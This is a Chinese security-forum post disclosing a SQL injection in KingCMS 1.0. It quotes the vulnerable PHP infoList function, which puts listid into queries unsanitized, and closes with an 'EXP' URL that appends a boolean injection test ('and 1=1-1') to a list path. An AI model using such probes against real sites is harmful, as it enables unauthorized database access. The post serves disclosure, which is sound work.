KingCMS 1.0 SQL Injection

2013-04-29 19:07:40 18 4127 1


官网:http://www.kingcms.com/download/local/10/
/**
        分页列表信息
        @param int listid : 列表id
        @return array
*/
public function infoList($listid=null){
        global $king;

        if(!$listid)
                $listid=kc_get('listid',2,1);//必须的

        if($listid==0)
                return;

        $cachepath='portal/list/'.$listid;

        $array=$king->cache->get($cachepath);//缓存中的listInfo
        if(!$array){
                $array=array();
                if($list=$king->db->getRows_one("select * from %s_list where listid={$listid}")){
                        foreach($list as $key => $val){
                                if(!kc_validate($key,2))
                                        $array[$key]=$val;
                        }
                }else{
                        kc_error($king->lang->get('system/error/param').kc_clew(__FILE__,__LINE__,$king->lang->get('portal/msg/listname'))."<p>LISTID: $listid</p>");
                }

                $modelid=$list['modelid'];
                if($modelid>0){//非内置模型的时候
                        $model=$this->infoModel($modelid);

                        $resCount=$king->db->getRows_one("select count(*) AS ncount from %s__{$model['modeltable']} where listid=$listid and nshow=1 and kid1=0;");//显示的主题内容
                        $resCountAll=$king->db->getRows_one("select count(*) AS ncount from %s__{$model['modeltable']} where listid=$listid and kid1=0;");//所有的主题内容


                        if($list['ncount']!=$resCount['ncount']){//当前列表数量和实际的数字不同的时候,更新结构缓存
                                $array['ncount']=$resCount['ncount'];
                        }
                        $array['ncountall']=$resCountAll['ncount'];

                        $array['pcount']=($list['ncount']==0) ? 1:ceil($array['ncount']/$list['nlistnumber']);//列表,共pcount页,前台的

                }

                $isexist= $king->db->getRows_number('%s_list',"listid1=$listid")>0 ? 1 : 0;//是否存在子栏目
                //更新列表数据
                $array_list_up=array(
                        'ncount'=>$array['ncount'],
                        'ncountall'=>$array['ncountall'],
                        'isexist'=>$isexist,
                        );
                $king->db->update('%s_list',$array_list_up,"listid=$listid");

                $array['isexist']=$isexist;

                $site=$this->infoSite($list['siteid']);
                $array['klisttitle']=$list['ktitle'];

                //直接在这个列表信息获取函数里转换的话,无需再次进行转换
                $array_htmlspecialchars=array('ktitle','klisttitle','klistname','kkeywords','klistpath','kdescription','kimage','klanguage');//需要转换为htmlspecialchars的字段
                foreach($array_htmlspecialchars as $key => $val){
                        $array[$val]=htmlspecialchars($array[$val]);
                }

                $king->cache->put($cachepath,$array);
        }
        return $array;
}
........
EXP
http://127.0.0.1/kingcms_php_1.0/index.php/list-13 and 1=1-1.html

关于作者

neutrino22篇文章237篇回复

评论18次

要评论?请先  登录  或  注册